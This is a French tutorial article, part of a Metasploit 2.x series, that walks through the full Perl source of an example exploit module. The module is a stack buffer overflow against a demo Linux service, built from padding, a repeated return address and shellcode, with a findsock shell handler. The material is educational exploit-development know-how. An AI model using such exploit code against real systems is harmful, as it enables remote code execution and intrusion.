|
[Metasploit 2.x – Partie 5] Scripting
Par Rédaction,
secuobs.com
Le 28/12/2007
Résumé : Metasploit fournit un ensemble de fonctions qui permettent de gagner un temps considérable pour le développement d’exploits vis à vis de la méthode classique. Retrouvez dans cette partie un exemple concret qui facilitera la compréhension de plusieurs de ces fonctions de façon détaillée.
- Lire l'article
L’abstraction fournie par Metasploit pour le développement d’exploits permet de gagner énormément de temps en comparaison à un exploit « from scratch » développé sans modèle, sans librairie, et en C par exemple. Nous détaillerons ici un exemple fourni dans la documentation permettant de cerner plusieurs fonctions.
Le code commence encore une fois par une définition classique Perl, avec le nom de l’exploit (ici « vuln1_3 » car l’exploit s’appelle vuln1_3.pm) :
package Msf::Exploit::vuln1_3;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;
Puis une structure “interne” permettant de définir le nombre de caractères à écrire avant l’adresse de retour, qui sera elle aussi plusieurs fois écrite (il faudra soigner l’alignement sur les 4 octets d’un processeur 32 bits) :
my $advanced = {
# Calculated at 76, give some room for different paddings, etc
'PreRetLength' => [76 - 8, 'Space before the we start writing return address.'],
'RetLength' => [32, 'Length of rets to write (in bytes)'],
};
Vient ensuite la structure d’informations qui sera récupérée par Metasploit pour décrire l’exploit dans son interface, contenant par la même occasion l’adresse de retour standard de l’OS visé (ici l’adresse 0xbffffffa60, qui est une adresse située dans la pile, ( stack - lien ) :
my $info = {
'Name' => 'Vuln1 v3 Exploit',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'spoonm', ],
'Arch' => [ 'x86' ],
'OS' => [ 'linux'],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 11221],
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "",
'MinNops' => 16,
'Keys' => ['+findsock'],
},
'Description' => Pex::Text::Freeform(qq{With new Findsock Action}),
'Refs' =>
[
'www.metasploit.com',
],
'DefaultTarget' => -1,
'Targets' =>
[
['Slackware Linux', 0xbffffa60],
],
};
Puis le contructeur classique :
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
Le code, à proprement dit, de l’exploit se situe dans la routine Exploit avec ses différents arguments (RHOST et RPORT, TARGET et CPORT étant des paramètres annexes). La première partie définit les variables avec les arguments passés et/ou les valeurs par défaut. La connexion s’établit avec Msf::Socket::Tcp. Le payload complet se nomme ici « evil ».
La commande pack avec le template “V” permet de convertir la valeur en unsigned long au format little endian pour un adressage mémoire Intel classique. L’envoi du payload s’effectue alors avec la méthode Send puis la tentative d’attachement est réalisée avec $self->Handler($sock). Le code doit toujours se terminer avec la dernière ligne (« 1 ; »)
sub Exploit {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $srcPort = $self->GetVar('CPORT'); # Get src port from env
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode = $encodedPayload->Payload;
my $target = $self->Targets->[$targetIndex];
my $ret = $target->[1];
my $sock = Msf::Socket::Tcp->new(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
'LocalPort' => $srcPort,
);
if($sock->IsError) {
$self->PrintLine('Error creating socket: ' . $sock->GetError);
return;
}
$self->PrintLine('Trying ' . $target->[0] . ' - ' . sprintf('0x%08x', $ret));
my $evil = 'A' x $self->GetLocal('PreRetLength');
$evil .= pack('V', $ret) x int($self->GetLocal('RetLength') / 4);
$evil .= $shellcode;
$sock->Send($evil);
$self->Handler($sock);
return;
}
1;
Autres ressources disponibles dans ce dossier :
[Metasploit 2.x – Partie 1] Introduction et présentation – lien
[Metasploit 2.x – Partie 2] Introduction aux charges utiles – lien
[Metasploit 2.x – Partie 3] Les charges utiles disponibles – lien
[Metasploit 2.x – Partie 4] La charge utile Meterpreter – lien
[Metasploit 2.x – Partie 6] Méthodologie d’un audit de sécurité – lien
[Metasploit 2.x – Partie 7] Conclusion et webographie – lien
- Article suivant : [Metasploit 2.x – Partie 6] Méthodologie d’un audit de sécurité
- Article précédent : [Metasploit 2.x – Partie 4] La charge utile Meterpreter
- Article suivant dans la catégorie Tutoriels : [Metasploit 2.x – Partie 6] Méthodologie d’un audit de sécurité
- Article précédent dans la catégorie Tutoriels : [Metasploit 2.x – Partie 4] La charge utile Meterpreter
Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|